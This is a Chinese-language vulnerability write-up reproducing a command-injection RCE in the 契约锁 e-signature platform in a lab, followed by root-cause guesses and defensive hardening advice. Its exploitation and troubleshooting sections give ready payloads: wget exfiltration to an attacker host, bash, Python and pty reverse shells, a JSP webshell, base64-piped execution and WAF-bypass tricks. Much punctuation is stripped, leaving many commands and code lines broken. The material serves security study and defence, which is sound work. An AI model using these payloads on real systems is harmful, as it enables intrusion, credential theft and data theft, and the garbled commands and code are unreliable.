契约锁RCE漏洞复现:从命令注入到防御实战

📅 2026/6/25 14:09:15
契约锁RCE漏洞复现:从命令注入到防御实战
1. 项目概述一次针对企业核心应用的深度安全测试最近在梳理一些企业级应用的历史安全公告时一个编号为XVE-2023-23720的漏洞引起了我的注意。这个漏洞影响的是“契约锁”电子签章平台一个在OA、HR、供应链等场景中广泛使用的核心业务系统。漏洞类型是远程命令执行这意味着攻击者可能通过网络直接在被攻击服务器上执行任意命令危害等级极高。对于安全研究人员和渗透测试工程师而言这类漏洞的复现与分析是理解攻击面、提升防御能力的关键实践。它不像永恒之蓝那样涉及系统底层协议也不像某些CMS的文件上传漏洞那样直观它考验的是对特定业务应用接口、参数处理逻辑的深度理解。为什么这个漏洞值得深挖电子签章平台处理的是具有法律效力的合同、文件一旦被攻破不仅意味着数据泄露更可能导致伪造签章、篡改合同等直接造成重大经济损失和法律风险的事件。因此对其安全性的研究具有极强的现实意义。本次复现的目标是在一个完全受控的测试环境中还原漏洞触发的完整路径深入分析其成因并探讨在实际业务中如何检测和防御此类风险。整个过程将遵循负责任的安全研究原则所有操作均在自有隔离环境中进行。2. 漏洞背景与核心原理剖析2.1 契约锁电子签章平台简介与攻击面契约锁作为一款集成式电子签章SaaS或私有化部署平台其核心功能包括用户身份认证、文档在线编辑、签署流程定制、数字证书应用、签署后存证等。从架构上看它通常包含Web前端、业务逻辑层、文件处理服务、签章服务器等多个组件。一个常见的私有化部署架构中会存在多个对外服务的端口和应用。攻击面往往隐藏在那些需要处理复杂输入的功能点上。例如文件上传与解析支持上传PDF、Word等文档进行在线预览或添加签章这里可能涉及文档内容解析服务。模板动态生成根据用户输入的数据动态生成合同文档可能调用后端渲染引擎。系统管理功能管理员进行系统配置、日志查看、用户管理的接口。集成接口提供与第三方系统如ERP、CRM对接的API。XVE-2023-23720这个漏洞根据其“远程命令执行”的性质极有可能出现在上述某个环节的服务端参数处理过程中未对用户输入进行严格过滤导致操作系统命令被拼接并执行。2.2 远程命令执行漏洞的通用原理与常见触发点远程命令执行漏洞的本质是应用程序将用户可控的数据以不安全的方式传递给了系统命令执行函数如Java的Runtime.exec()、PHP的system()、Python的os.system()等。常见的危险模式包括直接拼接String cmd ping -c 4 userInput;如果userInput是127.0.0.1; id那么最终执行的命令就是ping -c 4 127.0.0.1; id分号使得id命令也被执行。调用脚本解释器应用调用Shell、Python、Perl等解释器来处理用户数据如果数据被注入就能执行任意代码。反序列化漏洞链某些情况下通过精心构造的序列化数据可以触发底层库执行命令这在Java应用中尤为常见。在像契约锁这样的Java EE应用中常见的命令执行触发点可能在工作流表达式引擎某些流程审批节点支持自定义脚本或表达式。文档转换服务调用外部命令行工具如LibreOffice、ImageMagick进行格式转换时参数未过滤。日志查看或系统监控接口允许管理员执行一些系统诊断命令但权限控制或输入过滤失效。注意在复现任何RCE漏洞前必须在虚拟机或完全隔离的Docker环境中进行。永远不要在生产环境或任何非授权系统上进行测试。我的所有实验均在一台独立的、网络隔离的虚拟机中完成。3. 测试环境搭建与漏洞点定位3.1 实验环境构建为了安全地复现我搭建了以下环境虚拟机VMware Workstation 17安装CentOS 7.9 Minimal。目标系统从公开渠道获取的契约锁某历史受影响版本仅供学习研究版本号已做模糊处理。按照其官方部署手册安装了JDK 8、Tomcat 8.5、MySQL 5.7等依赖。攻击机同一虚拟网络下的Kali Linux 2024.1用于发起测试请求。网络配置将目标虚拟机设置为Host-Only网络模式确保其与我的物理主机及互联网完全隔离仅与Kali攻击机互通。必备工具Burp Suite Community用于拦截、修改和重放HTTP请求。浏览器配置Burp代理用于正常访问和触发应用功能。Nmap用于端口扫描和服务发现。自定义Python脚本用于编写和发送精确的Payload。部署完成后首先对目标IP进行端口扫描以了解其开放的服务nmap -sV -p 1-65535 目标IP扫描结果显示除了常见的80HTTP、443HTTPS、8080Tomcat默认管理端口之外还开放了61616ActiveMQ、6379Redis等端口。这暗示了该应用可能使用了消息队列和缓存服务这些组件的配置不当也可能成为攻击入口但本次聚焦于Web应用本身的RCE。3.2 漏洞入口的发现与模糊测试访问Web应用首页是一个标准的登录界面。尝试默认弱口令admin/admin等未果。根据经验这类系统的未授权漏洞可能存在于某些特定的API接口或静态资源路径。我首先使用dirsearch对目标进行目录扫描寻找可能存在的管理后台、API文档或调试接口python3 dirsearch.py -u http://目标IP:8080 -e jsp,do,action,json扫描结果中除了常见的/login,/admin,/api等路径发现了一个有趣的路径/webservice/import。/webservice通常意味着SOAP或RESTful WebService接口而import则强烈暗示了数据导入功能这通常是文件上传或数据处理的端点是高风险点。接下来使用Burp Suite的Proxy功能拦截浏览器对应用的所有正常操作请求。在浏览“模板管理”、“文档导入”等功能时我特别关注了请求中是否包含文件路径、系统命令、服务器本地文件读取等参数。一个关键的发现出现在“系统日志下载”功能。拦截到一个向/api/v1/system/log/download发送的POST请求其请求体大致如下{ fileName: ../logs/catalina.out, type: system }尝试将fileName参数修改为../../../../etc/passwd返回了“文件路径非法”的错误。但错误信息暴露了后端使用的是Java的File类进行路径拼接。这虽然不是一个直接的RCE但说明了后端对用户输入的处理可能存在缺陷。真正的突破点来自另一个不起眼的接口。在拦截到的众多请求中有一个发往/api/admin/serverMonitor的GET请求参数名为command值为netstat -an。这立刻触发了我的警报——一个直接接收操作系统命令的接口4. 漏洞利用链构造与命令执行4.1 命令注入Payload的构造与测试发现/api/admin/serverMonitor?command这个端点后我首先测试了其权限和过滤情况。初始测试将command参数值改为netstat -an | grep 8080。请求发送后返回的HTML页面中包含了8080端口的监听信息。这说明命令确实被执行了。管道符|没有被过滤。该接口可能拥有较高的执行权限可能是Tomcat进程权限。深入利用为了证明可以执行任意命令我需要获取一个明确的回显。在Linux下常用的方法是执行id或whoami命令。我构造了如下请求GET /api/admin/serverMonitor?commandid HTTP/1.1 Host: 目标IP:8080 User-Agent: Mozilla/5.0... ...服务器返回了uid1001(tomcat) gid1001(tomcat) groups1001(tomcat)。成功这证实了远程命令执行漏洞的存在。然而直接回显在HTTP响应中只适用于输出较短的命令。对于ls -la这样的命令输出可能会被截断或包含特殊字符导致HTML解析混乱。我需要一个更稳定的方式获取命令输出。4.2 利用DNSLog或HTTP请求外带数据在无法直接看到完整回显或需要盲注的情况下通常采用“外带数据”的技术。即让目标服务器主动向一个由我们控制的服务器发送请求并将命令执行的结果作为请求的一部分带出来。我选择使用一个临时的HTTP请求接收服务如requestbin.com或自建一个简单的HTTP服务器来接收数据。步骤一启动监听。在Kali攻击机上使用nc监听一个端口nc -lvnp 9999步骤二构造带外请求的Payload。利用curl命令将id的结果发送到我的监听端口。# 将命令输出通过curl的GET参数发送 id | curl -G http://攻击机IP:9999 --data-urlencode “data-”但是目标环境不一定有curl。更通用的方法是使用/dev/tcpbash特性或wget。经过测试目标系统有wget。于是构造最终Payloadcommandid | wget http://攻击机IP:9999/?id这里使用了反引号id命令会先执行其结果会替换反引号内的内容然后整个字符串作为URL参数传给wget。在我的nc监听端收到了如下请求GET /?uid1001(tomcat)gid1001(tomcat)groups1001(tomcat) HTTP/1.1...至此我已经可以稳定地获取任意命令的执行结果。4.3 获取交互式Shell为了更方便地操作下一步是获取一个反向Shell。即让目标服务器主动连接我的攻击机并提供一个命令行交互界面。方法一使用Bash反向Shell。这是最经典的方法前提是目标有bash。bash -i /dev/tcp/攻击机IP/4444 01将其编码为URL格式通过command参数传递commandbash -c bash -i %26 /dev/tcp/攻击机IP/4444 0%261注意需要对等特殊字符进行URL编码方法二使用Python反向Shell。如果目标安装了Python这种方法更稳定。python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((攻击机IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/bash,-i]);同样需要编码后注入。在攻击机上使用nc监听4444端口nc -lvnp 4444发送Payload后成功在nc终端获得了来自目标服务器的bash提示符。我可以执行pwd,ls,ps aux等命令确认了完全的远程控制能力。实操心得在实际测试中可能会遇到字符长度限制、特殊字符过滤如空格、分号、反斜杠等问题。这时需要灵活运用编码技巧比如用${IFS}代替空格用%0a换行符或%26作为命令分隔符或者使用Base64编码命令再解码执行。例如echobase64编码的命令|base64 -d|bash。5. 漏洞根因分析与深度挖掘5.1 代码层面溯源与问题定位虽然无法直接获得契约锁的源代码但我们可以根据漏洞现象和Java Web应用的常见模式推断其问题根源。访问/api/admin/serverMonitor接口其背后的Java代码可能类似于GetMapping(/serverMonitor) public String monitorServer(RequestParam String command) { try { // 危险操作未对用户输入做任何过滤直接拼接执行 Process process Runtime.getRuntime().exec(command); BufferedReader reader new BufferedReader(new InputStreamReader(process.getInputStream())); String line; StringBuilder output new StringBuilder(); while ((line reader.readLine()) ! null) { output.append(line).append(br); } return output.toString(); } catch (IOException e) { return Error executing command: e.getMessage(); } }关键问题未授权访问该接口可能本应只有管理员才能访问但权限校验缺失或绕过。未过滤输入直接使用用户输入的command参数未检查是否包含非法字符如;,,|,$()等。使用危险API直接调用Runtime.exec()这是最原始且危险的方式。更安全的做法应该是白名单校验只允许执行有限的、预定义的安全命令如netstat,top等。参数化调用避免拼接字符串使用String[]数组传递命令和参数如exec(new String[]{netstat, -an})。严格权限控制对该接口施加强身份认证和授权。日志与监控对所有管理员操作进行详细审计日志记录。5.2 漏洞影响的深度评估成功获取Shell后我对服务器进行了初步的信息收集以评估漏洞的实际危害当前用户权限tomcat用户。通常这个用户权限有限但足以读取应用配置文件、日志以及写入Web目录。敏感文件发现webapps/ROOT/WEB-INF/classes/application.properties找到了数据库连接字符串包含明文密码。webapps/ROOT/WEB-INF/classes/config/目录下存在多个配置文件涉及数字证书密钥库路径和密码部分被模糊化但格式可猜。/opt/contractlock/应用主目录内含日志、临时文件、上传文档等。横向移动可能利用数据库密码可以尝试连接MySQL可能存储着所有用户信息、合同摘要、签署记录等核心数据。如果数据库用户权限较高甚至可以通过MySQL的INTO OUTFILE功能向服务器写文件进一步提权。持久化后门可以在Web目录下写入一个JSP Webshell如shell.jsp内容为% Runtime.getRuntime().exec(request.getParameter(cmd)); %从而获得一个更隐蔽、更持久的控制通道。这个漏洞的杀伤链非常清晰未授权/弱权限接口 → 命令注入 → 获取Webshell → 窃取配置和数据库凭证 → 窃取核心业务数据合同、用户信息 → 可能的内网横向移动。对于一个电子签章平台这等同于拿到了整个业务的“印章库”和“合同档案室”的钥匙。6. 防御方案与安全加固建议6.1 针对开发者的修复方案对于使用类似模式开发的应用必须从源头杜绝此类漏洞彻底移除或重构危险接口审查所有代码寻找Runtime.exec(),ProcessBuilder,GroovyShell等直接执行系统命令或脚本的函数。除非绝对必要否则移除此类功能。如果必须保留则实施白名单机制维护一个允许执行的命令列表用户输入只能匹配列表中的项。使用参数化调用如new ProcessBuilder(new String[]{ls, -l, userProvidedDir})其中userProvidedDir需要经过严格的路径规范化校验防止目录遍历。沙箱环境运行考虑在Docker容器或低权限沙箱中运行需要执行命令的模块。强化输入验证对所有用户输入实施“默认拒绝”策略。使用正则表达式或安全库对输入进行严格过滤拒绝任何包含命令分隔符、管道符、重定向符、反引号等特殊字符的输入。最小权限原则运行Tomcat或应用服务的操作系统用户如tomcat应被严格限制权限不能读取非必要的系统文件不能向系统目录写入。全面的访问控制对所有管理功能、API接口实施基于角色的强访问控制并进行会话管理防止未授权访问。6.2 针对运维与安全人员的检测与防护即使无法立即修改代码也可以通过以下手段进行防护和检测网络层防护WAF规则在Web应用防火墙WAF上部署规则检测包含;,|,,$(),反引号以及Runtime,ProcessBuilder等关键词的请求。API网关通过API网关对管理接口进行认证、限流和审计。主机层防护系统命令监控使用Auditd或Sysmon等工具监控tomcat用户执行的异常命令进程。文件完整性监控监控Web目录下JSP、JS等文件的创建和修改。定期漏洞扫描与渗透测试对互联网暴露的企业应用定期进行专业的安全评估。安全配置确保应用服务器、数据库、中间件等所有组件使用最新稳定版并及时打上安全补丁。删除或禁用不必要的默认账户、示例页面和调试接口。7. 复现过程中的常见问题与排查技巧在复现此类漏洞时你可能会遇到以下问题以下是我的排查思路问题1Payload已发送但没有任何回显nc也没有收到连接。排查思路检查网络确认攻击机与目标机网络互通防火墙是否放行了相应端口如4444。可以在目标机上尝试ping 攻击机IP或telnet 攻击机IP 4444如果命令可用。检查Payload编码特殊字符,,,空格在HTTP请求中需要正确编码。在Burp中可以尝试在Params页面的Payload处使用CtrlU进行URL编码或切换到Hex视图手动修改。检查命令是否存在目标系统可能没有bash、nc、python。尝试使用更通用的命令如sh或者先执行which bash、which python3来探测环境。尝试盲注使用sleep 5这样的命令通过观察响应时间是否延迟来判断命令是否执行。问题2收到了反向Shell连接但很快断开或不稳定。排查技巧使用更稳定的反向Shellpython3的pty模块可以生成一个更完整的TTY。Payload示例python3 -c import socket,subprocess,os,pty;ssocket.socket();s.connect((IP,PORT));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(/bin/bash)升级Shell在获得初始Shell后立即执行python -c import pty; pty.spawn(/bin/bash)或script -qc /bin/bash /dev/null来升级交互体验。使用socat如果目标有socat其反向Shell是最稳定的。但需要提前上传socat二进制文件步骤稍复杂。问题3怀疑有WAF拦截如何绕过绕过技巧大小写混淆Id,CMD。字符串拼接cmd、c\md、/b?n/?sh。编码绕过Base64、Hex、Unicode编码。例如echobase64_payload|base64 -d|bash。使用稀有标签在HTML上下文尝试img srcx onerroralert(1)在JS上下文尝试反引号、eval(String.fromCharCode(...))等。流量特征混淆使用HTTPS、修改User-Agent为正常浏览器、将Payload分到多个参数或Cookie中。问题4如何判断漏洞是否已被修复验证方法版本比对查询官方发布的安全公告确认当前部署的版本是否在受影响范围内并是否已升级到修复版本。行为检测发送一个无害的测试Payload如commandecho随机字符串观察返回内容中是否包含该随机字符串。修复后的版本应该返回错误或固定内容。错误信息分析修复后可能会返回“非法参数”、“命令不允许”等明确的错误提示而非命令执行结果。整个复现过程从信息收集、漏洞探测到利用链构造是一次完整的攻防思维训练。理解漏洞如何产生远比单纯使用一个EXP工具更重要。对于企业安全建设者这样的分析能帮助你更精准地定位自身系统的脆弱点对于开发者则是一次深刻的安全编码教育。安全是一个持续的过程永远要保持警惕。